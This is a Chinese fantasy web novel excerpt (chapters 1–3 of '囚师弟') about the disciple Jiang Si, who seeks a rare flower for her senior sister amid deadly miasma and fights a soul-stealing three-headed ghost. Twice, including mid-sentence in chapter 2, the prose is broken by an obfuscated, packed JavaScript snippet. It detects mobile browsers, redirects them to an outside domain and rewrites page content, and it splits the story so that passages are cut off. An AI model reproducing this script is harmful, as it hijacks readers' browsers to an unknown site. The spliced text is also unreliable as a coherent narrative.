《囚师弟》 1. chap1 “问灵踏道,气渡周天,丹落引枝,而成树盖……” 黑夜猎风中,逃窜的身形在密密麻麻的煞气中如流光般疾驰,试图摆脱身后穷追不舍的煞气。 不,不是煞气,而是煞气中隐隐约约透着一股凶邪之气的凶物!但它隐匿之深,好似无人发现它的存在。 “就快出这片山脉了,大家再加把劲……啊!!” 与黑夜快要融为一体的煞气之中,忽的撕裂一道白骨裂爪,只在江汜的余光中闪过一瞬白光,下一刻隐匿在煞气之中,再回首,刚才那名说话的弟子,周身灵气溃散,砰地一声往地面摔去。 “曾周师兄!” 江汜身前的人一下回头,急匆匆地御剑就要跟着身后坠落之人疾驰而去,江汜微微凝眉,虚手一探,一柄隐约闪烁雷电之意的木剑横悬在那人眉间,拦住他的身形。 “来不及了。” 江汜说着垂眸往下一瞥,看起来好似只是被煞气侵心,一时气乱坠落的曾周,仿佛被煞气中隐匿着的某种东西一下吞噬,连□□砸落地面的声音都未曾发出。 遮天蔽日的煞气又开始挪动,离身后煞气更近的几名太常弟子躲避不及,同曾周一般先是身体摇晃,落下剑去,紧接着仿佛被林中、地面上的煞气吞噬,未曾听到丝毫动静,便已探查不到气息。 江汜沉了沉心,她有些犹豫地转身御剑而去。她乃朱雀山弟子,来这雾岭山脉,是求一株三师姐所需的凝悠花,但现下的情况,容不得她硬闯。 她只能先行离去,避开这诡异的煞气再做打算。 此处为怨东以北,雾岭山脉。常年煞气弥漫,山脉中的草木丛林早已染上煞气,一片枯败之景。 雾岭山脉附近未有人居住,只是山脉延绵的尽头,仙气缭绕,灵气馥郁的太常宗坐落于此。 怨东以南是恶鬼怨煞聚集之地,原是离怨东更近的六合宗常年布下禁制术法,阻隔雾岭山脉的煞气进入长恨天,引发动乱,但六合宗主阴木疗愈之法,久而久之实在难以完全掌控此地变化,故而向其余八大仙宗求助。 以直符为首的其余八大仙宗,先是定期派宗门弟子前往,但雾岭山脉的煞气与长恨天其中镇压的恶鬼怨煞仿佛带着某种古怪的吸引力,先是能够预测每次变化,到后来完全无法预测变化。 六合不愿让自己门下弟子常年镇守怨东,而其余八大仙宗更是不愿让门下弟子长期外出镇守。 九大仙宗折腾争执许久,最终,百年前太常开山长老出关,以一己之力开启宗门迁移阵法,直接迁移了整个宗门,落座在怨东东西分界线上,以整个宗门之力,拦截北面雾岭山脉与南面长恨天的融合。 太常主修五行化煞之能,近些年,雾岭山脉的煞气凶狠骤减,山中偶尔也能发现山灵精怪,于是太常便在历练阁新增了雾岭山脉历练。 积分极高,但任务说明仅有“雾岭山脉历练”六字,意思是,只要去雾岭山脉走一遭,不论有没有带回来什么,都计分。 “……” 江汜虚手在半空中轻划,落雷金木的木剑迅速回身,落在她肩后一点,警惕着四周。煞气不正常,按照太常能放心派出宗门弟子随意探查的行径,这煞气之中不该藏有别的更邪、更令人不安的东西。 “江道友!” 江汜指尖刚刚腾升起一点离火,想要硬闯。没有拿到三师姐所需之物,她实在不想回去。 * 十四岁,她孤身一人于仙门大试中拔得头筹,但她只是一个小小的朱雀山外门弟子,作为一个剑修,甚至还在用小儿学剑的木剑。即便四境离火令朱雀山的长老颇为欣赏。 可惜,她来历不明,尤其是她的朱雀离火,太过霸道。按照朱雀山那些长老所言,若非亲传弟子,或是剥夺了别人的离火标记,凭她这般资质,断不可能炼出四境离火。 江汜从来不知道离火标记还能被剥夺。从她记事起,她的手心里就有一团火焰,而左手,是一柄平平无奇的木剑。 她并不清晰的意识里,只记得有谁告诉她,要用木剑去淬火。待到木剑烧不坏的时候,这火就会完全属于她,完全受她掌控。 这火,是她一点一点炼出来,从始至终就是她的。可此时,朱雀山的戒律堂——朱正司里挤满了往日里和蔼面善的长老们,他们却说,这离火断然不是她的。 她开口辩驳无人听她一字一言语,她怒而爆发,想要阻抗持戒长老的禁制锢身。 但她不过渡周六境,即便拥有四境大圆满的离火,怎能敌得过那些最次都是落丹九境的长老们。 长老们见她反应如此激烈,笃定她心里有鬼,当下断言她的离火定是抢夺而来。落丹,引枝境界的威压将江汜死死地钉在地上,她如同一只丧家之犬,浑身滚着灰尘,口鼻渗着鲜红、狼狈的血。 她斜目望着天阶上的人,怒目而斥,可她淬满铁锈味的嘴里,却只能无力地嘶吼出一声:“离火是我自己的!” 但无人听她所言,仅有寥寥几人劝说,要等七宿峰宗老出关定夺。 双方争执不下,但各怀心思加在江汜身上的禁制却越来越多。年十四便能炼出如此霸道的四境离火,假以时日,不知能踏上多高的山峰。 火分三等,朱雀离火也有尊末。江汜不知道,离火自手心诞生之时,便由离火印记的位置来定离火最终为尊还是为末。 肩上额止为尊,肩下腕上为次,下肢为末。 江汜额前没有离火印记,长老们也用秘法探查过她的额下,肩上的距离,却都没有查探到离火印记。 这朱雀山上所有天资聪颖的弟子,所修出的离火印记无一不存在于额下,肩止。江汜离火不凡,离火印记也当不凡。 更别说,离火印记能被剥夺,是朱雀山上所有弟子心照不宣的秘密。朱雀山每个修出离火的弟子,都有记名,甚至连身陨,宗门都要派人寻得尸首,确定离火印记的存亡。 来历不明,未有记录的离火。倘若印记位置偏,宗门倒不会过多询问,但如江汜这般,有意遮拦,又来历不明,且霸道至极的…… 朱雀山固执的长老们,向来是不能放过。 “朱雀离火,不能落入外人之手!她若真是自己修出来的,为何迟迟不上报朱正司?这不是心里有鬼是什么?!” ……目眩耳鸣,感觉自己半个身体都坠入地板,身上的血离自己越来越远的时候……是一袭绿衣的三师姐宋泠,手挽柳叶,眉目清凉地落在了她的身前。 带着草木清香,透着点露水浸透的柳叶落在她洇湿汗水与灰尘的眉间,江汜感觉身上的威压消散,接二连三落在她身上的禁制,也如草木呼吸般消失得一干二净。 唯留点点细雨润无声的清透之感。 “七宿峰雨无正宗老坐下三弟子宋泠,见过各位长老。” 争执之声一下停息,江汜费力地扒拉开一点眼皮,望见刚刚还耀武扬威的各峰各殿长老,眼神一下变得紧张,还带着些许……仰望。 可宋泠不过是个弟子。 江汜趴在地上,她费力地伸出手,抹去脸上的血污,挣扎着就要爬起来。她不喜欢趴在地上,任人打量的模样。 在长恨天的时候不喜欢,她爬起来,被折断了手臂;做朱雀山外门弟子的时候不喜欢,她打回去,却被恶人先告状,去朱正司领罚,差点丢了半条命。 现在她也不喜欢,不喜欢被人冤枉,不喜欢被人扣上不该有的罪责,不喜欢无人听她一字一言,逼她认下不该有的罪责。 可她刚刚撑起来一点,就望见绿衣弟子的脚尖转动,对准了她。 “勿动。” 宋泠屈膝落身,半截柳枝点落她的肩头,只见柳枝上气息流动,江汜便感觉浑身更加轻快了。 但柳枝也渐渐枯萎。 宋泠随手落下柳枝,她的眉目无情,静静地盯了她好一会儿。 江汜在长恨天混迹长大,她对人的呼吸太过敏锐,但自踏入修仙之道,她才知晓修士的呼吸之法各有不同,以呼吸琢磨人的动作,对她此时的境界来说太过困难。 宋泠早已落丹八境,按理来说,江汜不该察觉到她呼吸的变化,可江汜就是捕捉到宋泠朝她伸出手时的呼吸变化。 她没有读懂。 宋泠背对着身后德高望重的长老们,声音清凌凌的透着内力而出,在场所有的人都听得一清二楚。 “吾师雨无正让弟子前来告知各位长老。朱雀山外门弟子,江汜——” “以后便是七宿峰弟子,七宿峰宗老坐下最后一名亲传弟子。” 宋泠回身将她扶起,余光瞥到前方有人踏剑而来,又很快地松开了她的手。 “亦是我等师妹!” 江汜身后罡风一阵,差点将她掀飞,她摇摇晃晃正欲拽住身前的宋泠,但不知是她目光早已涣散,看不清宋泠早不在她的一手之隔,还是宋泠主动与她拉开了距离。 她没能抓住宋泠,却有另一双滚热的手臂拽住她的肩膀,稳住了她摇晃的身形。 江汜回头,先是看见随风飘落的水色金纹丝带,而后才望见湛蓝苍穹上如寒刃破空的高高束起的黑发落下。 随着少年拽住她肩膀,扶住她身形的动作,高束的黑发在她的肩头也摇曳了几下,带着几滴未落的水雾。 身后的少年好似方才沐浴净身,发梢间还带着些许温热的水气。 江汜轻眉微皱,正要与身旁不熟的人拉开距离,刚刚还肆意摇曳的黑发一下散落,齐齐整整的落在她的身旁,遮挡住她一部分视野。 她仰头,却看见少年肆意的笑意不变,似乎满不在乎这略显失礼的散发模样。但江汜却僵直了身形,呼吸也诧异地停止。 她从地底,从一双双鞋尖摸爬滚打出来,最厌恶的,就是自己在众人面前,灰败、狼狈,仿若失了礼数的模样。衣衫脏乱,头发不整,被人围观的时候,总是令她想起被踩在地上爬不起来的模样。 她厌恶这样的情形。 “谢不悔,不是让你好生栉发,冠带,莫要在小师妹面前失了礼数?”又是一道陌生的男声入耳,带着醇厚温润的嗓音。 江汜只僵硬了一瞬,就感觉名为谢不悔的弟子被拽开了去。 再出现在她眼前的,是一位羽冠临风,琨玉秋霜,比谢不悔更年长一些的男子。 “凌萚师兄……?”江汜抬眸,略有惊讶。 江汜见过凌萚,她曾在外门接过一个低阶任务,只是在日栖神木附近除草,却莫名遇见恶鬼化形,其境界直逼落丹,在场皆是外门弟子,别说落丹境,就是渡周境都寥寥无几,眼看就要身首异处。 江汜别无他法,她知晓外门弟子贸然暴露自己的离火,或许招来祸事;尤其她的离火,与她见过的朱雀山弟子都不太一样。 她小心翼翼的隐藏着自己的离火,只等到内门初选的时候,进入内门,再查看书经阁中可有描述过她这般情况。 但眼下情况紧急,她只能一掌劈晕最后清醒着的一人,平平无奇的木剑先行甩出,她踏步而起,背落身后的手心之中刺啦一声燃起一簇泛着水色的波动,紧接着下一瞬才转换成深红的烈焰。 一招,江汜只有一招的机会。彼时她已经是四境离火初期,恶鬼刚刚化形,又在朱雀山的日栖神木附近,体内怨力受到压制。江汜急急运转体内灵力,几乎把自己抽了个一干二净,肉眼可见的手中的离火越来越炙热,连带着周围空气都波动起来。 木剑穿过离火,木生火,又添一笔。只一招,江汜击散了恶鬼,但也力竭而坠。 她便是在此时看见,日栖神木的主树干上,闭目栖息着一人。仿佛被灼热的火息燎到,在江汜注意到他的时候,他恰好睁开了眼。 琉璃琥珀般的眼眸和她对上一眼,只一眼,江汜就明白,对方看穿了她。 但。 他只是撑木而坐,垂眸捻诀,将要昏迷过去的江汜,只感觉一股清爽的灵气充斥了她的空丹田。 “我什么也没看见。” “这位师妹,放心躺下吧。” 江汜依旧不放心,但她知道此时就算她灵力充沛也依旧打不过对方,只好死不松口地要了对方的名字。 她已经想好,若是经此一遭,被发现她的离火有异,那她就算是死也要带上对方。她没有办法,她就是这样小心谨慎,好心落在她的眼里,也要被她判上好几个罪名,才敢安心接受。 但凌萚自始至终都没有说过。 …… 凌萚单手悬于身前,他的腰间别着一柄通身乌黑的剑,江汜第一次见面就觉得,这柄剑和凌萚的形象不那么相衬。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仔细地剥了皮,举至江汜的眼前。 江汜一愣,伸手接过,轻咬了一口,有点酸,但她还是面不改色地吃了下去。 “三师姐,是讨厌我吗?”江汜以为谢不悔不好意思告知她,又问了一遍。 对江汜而言,她从小就招人厌,倘若三师姐真的厌恶她,她也不会感到有多难过。只是,江汜咬着手里酸涩的枇杷,她看向谢不悔,目光又落到水亭中央,正在比试的大师兄和五师兄。 四师姐抱着山下的话本正从水榭廊道穿过来。 “小师妹。” “小师妹?” “小师妹!” “……” 声声唤她的音,从四面八方来,停留在她的身侧。 初入七宿峰,江汜看谁都要猜忌一二,这是她在长恨天带出来的习惯,她无法相信身边的任何人,她害怕刚刚交托自己的性命,对方就裂着唇角,瞪着黑咕隆咚的眼睛告诉她——他是恶鬼,是怨煞。 但,大师兄折损本命剑,为她折落雷金木,只为赠她一柄百炼不坏的木剑;二师兄六境离火初成,为求一纸直符火咒锻她离火,一身傲骨都快被直符宗的人折断;三师姐不言不语,引阴木本源之气燃她长明灯,保她大伤无虞;四师姐浮水做桥,引她魂有所归,不再做漂泊无依的浮萍;五师兄艮金为炼石,磨剑如锋,令她平平无奇、多有损伤的木剑重焕光彩,告诉她过去仍可留恋。 七宿峰早已成了她的家,她敬重爱戴七宿峰的每一个人,尤其亲昵她的师兄师姐们。 过去别人的喜恶对她来说无甚关系,但,她现在已经舍不得七宿峰的一切,舍不得此时围坐在她身旁的师兄师姐们。 所以,她想要三师姐喜欢她,不要远离她。 对她而言,师尊雨无正是收她入七宿峰之人,但踏入七宿峰,却是三师姐引她而来的。 谢不悔屈指在她额前一弹,少年环胸而立,肆意的发带缠发丝飘动,“小师妹,三师姐可是最最喜欢你了。” “你这话让三师姐听了去,可要她伤心了。” “……果真?” 四师姐蓝朝提着裙摆过来,闻言也在江汜额前一点,“小师妹呀小师妹,我们三师姐只是话少了些,性子冷了些,你怎可说你三师姐不喜欢你呢。” “你这般折了命的修炼,三师姐可没少给你炼制清心的药物,生怕你走火入魔,又怕你寿数折损。” “都藏在你窗前的药匣里了,你不会没仔细瞧过吧。” 江汜忙着修炼,忙着不被人踩在脚下,对于药匣里的药,向来是能摸到什么就算什么。 比起得知三师姐讨厌她,得知三师姐其实一直担忧着她更令江汜心颤——那她这么些年来,岂不是什么都没为三师姐做过,还在这里猜忌三师姐是不是不喜欢她。 江汜想要赠与三师姐一些东西,可她历练得来的宝物也好,灵药也罢,甚至仙草,三师姐都不要,全都给她送了回来,藏在她的药匣里。 眼看着她已为大师兄寻来所需的碎玉灵,二师兄所求周度落,四师姐随口一提的引气元,还有五师弟郑重其事向她所求的灵破散,唯独三师姐,她还什么都没给三师姐。 她害怕三师姐觉得她是忘恩负义之人,又恐自己的存在离间了三师姐与同门的情谊。又一次从大师兄手中得到三师姐退还宝物之时,她问大师兄,三师姐可有什么多年求而不得之物。 大师兄凌萚告诉她,三师姐近些年一直在修行一道秘法,但缺一味凝悠花,迟迟不知踪迹。 凝悠花。江汜觉得这是上天在助她。她从怨东以南长恨天而出,自然知晓怨东以北,雾岭山脉中生长着的凝悠花。 她一定会将凝悠花带给三师姐。 她希望师兄师姐们在落霞峰闲来听雨声时,三师姐也能在身侧。 …… “江道友!江道友!” 江汜指尖腾起一点焰火,黛眉轻拧,手持落雷木剑,转身正欲回头扎入煞气之中。 “江道友!” 方才被她拦下的太常弟子,闪身拦到她的身前。 “江道友。” “你,是朱雀山弟子吧?” 2. chap2 江汜深眉微拧,落雷木剑借离火横切一道剑光,直直地冲着眼前太常弟子而去,逼散他身后拥来的煞气。 但江汜眼前的弟子不躲不闪,见江汜出招,心下一惊,露出一个果然是她的神情,御剑而下,朝着江汜拱手。 “弟子乃太常宗内阁弟子,周白。”周白看向江汜,微微沉吟,又压低了声音,问道,“敢问道友可是朱雀门下,江汜前辈?” 四年前,江汜一柄平平无奇的木剑,一手离火,在仙门大试上拔得头筹。或许江汜的模样没人记住,但那柄普通的木剑,却成为了她的标志。 虽说江汜早已不用那柄普通的木剑,落雷金木所铸的木剑,亦不是普通木剑,甚至周围雷电闪烁,但木头依旧是木头。 没有哪个剑修还用木剑。 这个怪人,只能是朱雀宗的江汜。 火分三等,直符宗的金火为尊,朱雀宗的离火为次,而腾蛇宗的丁火为末。火灭恶鬼,亦渡怨煞。 火是最直接,最简单驱逐恶鬼煞气的东西。哪怕人间火虽不及这修炼所得的火,但人间也会用火来驱赶邪祟。 太常弟子主修五行化煞,遇水则水,遇火则火,遇金则金……虽说修炼不受灵根限制,但大部分弟子只能做到三行化煞,做到三种属性的修炼与化用。 且前期修炼,往往要依靠其他的弟子。修炼初期,他们无法靠自己去触发自身灵根遇水则水,遇火则火的性质。 因此太常宗从前经常派弟子前往其余八大宗门修行。对于太常弟子这种不要脸的行为,其余八大宗门多有微词。谁都不愿自身宗门的修炼资源被外宗所得,更何况,太常宗的弟子每每来修行,都快要把他们宗门弟子的裤子都给扒下来看了! 他们宗门修炼都快没有秘密了! 最后,太常宗在开山长老出关,决定将太常迁移至怨东,阻隔怨东北面雾岭山脉,与南面长恨天融合之时,也提出一个条件—— 九大宗门合修九霄共院,九大宗门凡引枝期六境以下弟子,皆可前往修习。太常弟子若是在九霄共院中同各大宗门弟子一同修行,不得受到干扰阻碍。 六合宗第一个同意,他们宗门毗邻怨东,受其纷扰良久,太常五行化煞,既然愿意迁移宗门镇压,他们又有何不愿的? 六合主疗愈之法,同各大宗门结善颇多,六合宗一同意,其余宗门也慢慢的同意了。 总而言之,落丹期以前的太常弟子,能自然而然做到遇火则火,遇水则水性质的……少之又少。 他们总要借助别人的火,水,金…… 江汜也看出来,此时还活着的太常弟子里,仅有寥寥三人是落丹期。眼前的周白是落丹一境,似乎是刚刚突破不久。来雾岭山脉,多半也是想要求一点机缘。 可惜机缘没有,倒是遇到古怪煞气。 “你想借我的火?”江汜也不绕弯子,直白地问出。 周白也不遮掩,手握身侧剑,坦言道:“听闻江道友已是七境离火巅峰。江道友,实不相瞒,此次来雾岭山脉历练的弟子中,大多修金,水两法。” “若是寻常煞气,金,水也好,火,木也罢,归一而终,能化煞气便可。” 周白说到这,拧眉,抬手一剑斩出金光。这煞气古怪,竟不知何时,将他们围了起来。 周白那一剑带着铸金光目,隐约可见金水裹挟着空气中的灵气转化,落入煞气之中,也本该带着煞气归一而终的转换,消散于空气中。 但…… 这煞气却好似将周白那一剑化煞,吞噬了一般。煞气丝毫不受影响,围了上来,在众目睽睽之下,堵住了最后一个能逃脱的缺口。 江汜看过去,神情不变。 两人交谈的声音并不大,再加上周围弟子都在极力抗击着煞气,也没有在意回头而去的江汜,和周白。 “江道友刚才拦我,该是看出这煞气的古怪,仿佛能吞噬万物。”周白迎着江汜淡然的眼神,朝她开口。 他没有错过江汜刚才回头想要一头扎进煞气里的动作。 他笃定,江汜有办法逃离这古怪的煞气,毕竟她的七境巅峰离火,就已不容小觑。 “你借不了。”江汜沉吟片刻,开口淡言。 四境离火便可护体,七境离火更是能让她于怨煞恶鬼中穿行一刻钟,不受侵蚀。但与旁人,难说。 她看出此时煞气古怪,但为了凝悠花,她不得不冒险一试。虽然方才深入雾岭山脉之时,并未寻到凝悠花,但……江汜不愿再等,她想或许是她错过了。 毕竟凝悠花性胆小,人多不易现身。她一人返回,或许能寻得一株凝悠花。 太常弟子可借势而行,但朱雀离火,和普通镇火并不一样,即便借也只能借势,借不了威,无法像她一样护住心脉穿梭煞气。 周白还想说些什么,但江汜也已经转身,她右手抬火,离火从她手心中腾升,一瞬将她的右臂裹挟,隐约燎到她随风而起的发丝。 “勿听,生火。” 勿听是她手中落雷金木所铸的木剑。 江汜望着眼前快要被煞气遮挡住的太常宗门,这些太常弟子离太常宗仅仅一个山头,只要能飞出去,就能回到宗门了! 要管吗? 若是三师姐……大约是会管的吧。她后来听二师兄谈起,那日师尊要她为徒,其实三师姐并不知情。三师姐宋泠只是从落霞峰静闲出来,偶然听到她的事,才决定前往朱正司一看究竟。 直到路上,她才接到师尊要收她为徒的传信。 周白刚刚灰败下去的眸光一亮,她看出来江汜是要为他们开路,于是立刻靠近低声道:“道友,你可是来寻凝悠花?” 凝悠花在太常不是什么秘密,尤其对他们这些常来雾岭山脉历练的弟子来说,更不是什么难以寻之物。只是,太常以宗门之力镇压雾岭山脉与长恨天之后,明面上便拒绝其他宗门弟子进入,防止他们获得机缘。 太常弟子对这一律令不仅拍手叫好,还严加防控。毕竟,他们前往各宗借气修炼时,没少受白眼与讥讽。难得有这么个正大光明机会报复回去,一爽口舌之快。 “先前见你着外门弟子衣裳,但实力却难以窥测,便有疑心。” 江汜确实是偷摸混进来的,太常在雾岭山脉布下禁制,要想进山脉,必须从太常宗门飞星宫附近进入。于是少不了要伪装成太常弟子。江汜来得匆忙,临行前,大师兄还让她快去快回,拿不到凝悠花也没关系。 师尊快出关了,大师兄说师尊每逢出关都会有要紧事找他们,最好不要不在场。 “你若信我,道友可否送我其余同门弟子出煞气,我替你寻来凝悠花,且不惊扰宗门长老。” 江汜已经听不见了,勿听从她的左手脱落,腾空而起,木剑周身惊雷闪动,它以惊人之势穿透眼前的煞气,又回身旋转,直直地冲着江汜而来。 剑口对准了江汜,带着破空的嗡鸣声,不明所以的弟子还以为这木剑穿过煞气也如同那些跌落空中的弟子们一般失控了! 周白也没忍住喊出一声:“小心!” 但下一刻,江汜燃着离火的右手振臂而起,轻而易举地握住木剑尖端,两指夹住木剑,离火从手臂腾升,顷刻蔓延到勿听上。 闪着惊雷的离火发出劈里啪啦的声响,仿佛下一刻就要炸开! 但江汜却已握住了勿听,刺啦作响的木剑爆闪着刺目惊人的光芒,但江汜却没有丝毫的反应,她握着木剑,离火攀升更高的焰火,仿佛要将整个木剑灼烧殆尽。 “沉。”江汜手臂上摇曳的离火静默下来,只攀附在木剑上。 但江汜的手臂上却留下了深黑的火纹印记,如同火烧尽后的灰烬,其中闪烁着勿听的落雷。 “静火沉雷——” 江汜御气而起,手臂上的火纹印记闪烁起深红的、靛蓝的光芒,同她手中那柄木剑一般夺目。 “断天穹!” 手中木剑一势劈出!惊人的灵力波动在空气中,落雷闪动的离火霹雳作响,扎破沉默飘渺的煞气。 砰砰! 煞气破开一道裂口! 周白大呵一声:“快走!” 太常弟子连忙动起来,有人趁机借了江汜的火,借火之势引动化煞之能打在煞气上,将裂口撕扯得更开。 江汜察觉到他们的动作,什么也没说,只是扭身回旋,又是几剑落下。离火烧灼煞气,很快将煞气撕碎。 太常弟子从她身旁御剑疾驰而行,不忘落下一声急匆匆的道谢。 江汜没有应声,她原先是断然不会做这种事的。她光是顾着自己的性命,就已经很艰难了。 只是在七宿峰待了四年,她的心境竟然变化成如此。 斩破煞气之时,她想的是,若是三师姐也同其他师姐,师兄一样,对她有所求就好了。 即便从大师兄口中知晓,三师姐不过面冷心热,真的没有讨厌她,可她还是会忍不住想,师姐对她没有所求,是不是,还没有真的接纳她呢。 她想要七宿峰这个家,完完全全的接纳她。 凝悠花。 江汜垂眸,逆着太常弟子的行动,往后而去。 离火从手中剑脱离,缠绕上她的右臂,深黑的红纹亮起一点沉雷,如雷之势,从右手上钻入衣襟之中,在江汜的脖颈处缠绕一圈,才朝着左手而去,悄无声息地沉在心脏处。 “护心。” 江汜松剑御气,踏剑而行,她的心口腾升起灼热的火气,江汜凝眉,急速从这将要崩溃的煞气中穿梭—— 刺啦! “救,救命啊!!!” 江汜身上的离火气息已然攀至巅峰,她周身的空气已然变得灼热滚烫,护心离火刚刚靠近煞气,煞气就簌簌抖开。 但江汜还没有穿行而过,就听见身后混杂嘶吼的求救声。 有什么东西,从煞气里跑出来了! “三,三煞鬼!它怎么会在近脉!它,它不应该在深脉处才有吗!” 周白的眼对上三煞鬼的三颗白骨头颅,他大呵一声,“不要慌!起镇火!” 他说着又对着已经冲出煞气圈的一名弟子喊道:“陈师兄!麻烦你快去禀告飞星宫长老!雾岭山脉近脉……“ 陈目静止在煞气圈外,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995104|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是另一名落丹期弟子,听到周白的声音,他没有做任何表示,还不等周白说完,就已御剑出去百米。 江汜站在离身后煞气仅一臂的距离,她回眸望去一眼,不自觉地拧眉。 三煞鬼,怨煞的一种。恶鬼留有人形,但它并不是人。没人知道恶鬼从何而来,又是如何学得了人的模样。恶鬼虽弱,却可夺人心。 而怨煞中的三煞鬼与七煞修罗,明明没有人的模样,但当它开口说话,却叫人觉得自己面对的应该是一个人,而不敢果断痛下杀手。 世人皆说,这是怨煞恶心的秘法,夺魄入梦。 江汜当机立断,手掐断诀,划破手指,引血气灼烧,划横蒙眼,点朱红落耳鼻。 大师兄曾告诉她:“据说凝悠花生长的附近,会有三煞鬼出没。” “师妹,如遇三煞鬼,切记,勿要恋战。世人皆以为阻止三煞鬼发出声音就不会中招,但并非如此。” “三煞鬼开口的第一声,可能是你最熟悉的一道声音。倘若周围人多,你便完全无法察觉,三煞鬼究竟是何时开口说话的。” “如果你想不起来遇见三煞鬼的时,有什么声音,就自断五感。” 江汜立刻回想起,周白喊她的那几声。 尚留在煞气之中的太常弟子,有人借了离火之势,听从周白之言,起太常镇火煞。 三煞鬼不敢靠近,但煞气已经在江汜静火沉雷的逼退下,暂时无法聚集,三煞鬼没有躲身之处,它只好着急地在太常弟子之间穿梭。 不过须臾,镇火煞被冲乱,一身白骨,三头裂骨的三煞鬼一下失了压制,肉眼可见地膨胀了一倍,如同身后那些隐约想要靠近的煞气一般。 江汜掐断诀,先断四感,唯留一眼。按照大师兄所言,看见三煞鬼的瞬间,大约已经落入它的夺魄。 她微抿薄唇,睁着仅剩的一只黑瞳,望着周围太常弟子,不知在想些什么。 来不及了。 江汜这样想着,却朝为了护其余低阶弟子出去,而落入三煞鬼裂骨白爪范围的周白而去。 “静火沉雷!” 江汜轻呵一声,木剑附火,落雷惊动,一剑斩白光。 三煞鬼肉身脆弱,任何术法都能对其造成伤害。可一旦三煞鬼使用夺魄,落丹五境以下修士皆会被其蛊惑心智,沦为一具傀儡。 而三煞鬼会在此时用白骨挑破修士的心脉,吞噬而尽。 “江……” 江汜回眸凝他一眼:“凝悠花可在这附近?” 周白看见江汜脸上的灼烧血气,望着她睁着的那只眼睛,愣了一秒,瞬间想起什么。 他正要大呵一声,提醒还没跑出去的弟子自封五感,一回头却见江汜剑柄缠火,身如流星冲了出去! 一掌逼退太常弟子出三煞鬼范围;一剑斩烈火,剑芒掠过身形,将落在三煞鬼身旁的人瞬移至圈外! 周白看得呆愣,一回头,就见江汜不知何时落在了他的身前,他还没来得及说话,一团灼热的火气就逼着他来了。 “江……!” “周白。”似人声,不似人息。 周白呆愣在原地,他瞧见江汜并没有说话,但他却听见有人喊他。 夺魄! 周白刚刚意识到,唤他名字的声音却如同蚂蚁将他脑海里的危险意识一点一点啃食了。他清醒地看着自己,变成傀儡。 不行,不行,不行! 他才刚刚突破至落丹,他才刚刚突破!怎么能死在这里,怎么能……? 为什么不能? 周白看见江汜在说话。 修炼不累吗,日复一日,年复一年的问灵炼气。太常又不像别的宗门,单炼一种灵气就可登至巅峰。 ……五行化煞听着厉害,可是修炼初期不是在问这个师姐借火,就是在问那个师弟借木。 有时候不但借不到,还要惹来一身祸事,一记白眼,一声又一声的讥讽! 为什么还要继续呢?师兄说落丹五境之后,就不会像之前那般频繁问别宗的弟子借势,可是师兄已然五境,不是偶尔出现五行混乱,依然要去借势? 就连掌门,在逼退怨东煞气之时,身侧也有直符宗长老助势。 有什么用?修炼至树盖也没什么用吧,他们太常弟子就要这样依附他人修炼。 没意思,没劲,不如算了。 算了。 …… 周白缓缓阖上眼,身上灵气脱落,身如坠石,一头往地面栽去,眼看就要落入煞气之中。 方才还在江汜眼前的三煞鬼一下逃离,钻入地面的煞气里。黑金的煞气中白光闪烁,昭示着周白如也会遭受,先前那些弟子一样的死亡。 江汜额间带血,鲜血滑落顺着她的眉骨落入睁着的那只眼里。 她微微喘息,手握勿听,垂眸向下看去。 四感封闭,但她依旧不可避免地受到了夺魄的余威,险些令她失了心智,还好离火护住心脉,危机之时爆裂而开,叫江汜惊醒。 差一点,就差一点便能砍下三煞鬼的三颗头颅。 但周白被夺魄了! 3. chap3 “三煞鬼并不厉害,只要在看见它的一瞬间,一击必杀,斩下它的三颗头颅,便绝后患。” “但若做不到,你便不能预测,它的夺魄何时何地落在了你的身上。” “以为的逃脱也只是在你脑海里闪过一瞬,而你本人或许正呆立在三煞鬼前,一动不动。” “直到你死去,你才有清醒的那一刻。” “……” “师妹,你切记,凝悠花比不得你的性命,你三师姐也未必想看见你为取凝悠花丢了性命。” “师妹,不要逞强。” “……师妹,对我,对你三师姐或是其他师兄师姐而言,你无须为我们寻来什么珍稀贵物。师尊收下你的那一刻起,你已经是我们师妹了。” 临行前,凌萚师兄抱剑而卧,他又躺在日栖神木上,折了一片火红如霞的叶子遮在眼前,声音缓缓落入伫立树下,江汜的耳畔。 江汜抬眸望去,他看见凌萚师兄双指并拢,撇开火红的叶片,垂眸含笑望了她一眼。 又被凌萚师兄猜到心中所想。江汜却并不觉得不自在,只觉得一点安心。无家的野犬,也会有人知晓她的未言之声。 凌萚单手抱剑,右手捻叶而指。火红的神木叶落入小师妹的发间。 他又阖上眼,道:“去吧,有事记得叫师兄。” …… 耳畔仿佛响起大师兄的声音,江汜额角的血越淌越多,隐约将她最后睁着的眼睛蒙蔽。她的气息微乱,灵力微微外泄,整个人都有些恍惚。 她的右手拎着方才快要落进煞气中的周白,左手执剑,剑尖直指三煞鬼钻入煞气的方向。 她正在战斗吗?江汜也不清楚,她已经几次经历用离火封闭周白五感,再用勿听划破周白的手臂,引血灼烧,逼出煞气。 她让周白清醒过来,去给她找到凝悠花。 她来应付三煞鬼。有离火护心,加之她落丹八境的实力,她并不会像周白一样,被夺魄影响至深,如周白一般,体内灵力散乱,如同废人。 …… 但这一行为,她好似重复了成千上万次。 在“杀掉”三煞鬼,从周白手里接过凝悠花的瞬间,强烈的危机感直冲天灵盖,她想也没想先行杀掉眼前的周白。 幻境仿佛崩塌,她的视野扭曲,再抬眸,深红的视线里,她看见又一次坠落的周白。 “……” 江汜俯冲而下,认命地将其拽住,熟稔地往身后侧甩剑。 